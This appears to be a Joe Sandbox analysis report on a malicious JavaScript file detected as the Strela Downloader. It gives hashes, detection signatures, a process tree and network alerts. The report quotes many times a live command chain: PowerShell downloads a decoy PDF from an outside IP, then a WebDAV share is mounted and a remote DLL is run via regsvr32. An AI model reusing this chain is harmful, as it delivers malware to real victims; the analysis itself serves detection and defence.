Edit tour

Windows Analysis Report
16981299741734811290.js

Overview

General Information

Sample name:	16981299741734811290.js
Analysis ID:	1588294
MD5:	b9f850d2c302aceb85698b0d5f0ccedd
SHA1:	a25086ccb42e82d4e43d12538d4d3846a5015f80
SHA256:	4569d2e1731689f271f79c32c965cc4d0c4cd7e66cc6d60d391bf0669d71e8b2
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3524 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16981299741734811290.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4084 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2788 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6108 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1784 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7184 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1752,i,17091936421959275901,7858486724948188063,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2448 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2684 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 828 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3524	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4084, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2788, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4084, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2788, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16981299741734811290.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16981299741734811290.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16981299741734811290.js", ProcessId: 3524, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2684, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16981299741734811290.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3524, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, ProcessId: 4084, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16981299741734811290.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3524, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, ProcessId: 4084, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16981299741734811290.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3524, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, ProcessId: 4084, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16981299741734811290.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3524, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, ProcessId: 4084, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16981299741734811290.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3524, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, ProcessId: 4084, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16981299741734811290.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16981299741734811290.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16981299741734811290.js", ProcessId: 3524, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4084, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2788, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2448, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2684, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 828, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2448, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2684, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16981299741734811290.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3524, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, ProcessId: 4084, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:38:23.974445+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:38:20.148739+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 16981299741734811290.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 16981299741734811290.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:38:20 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

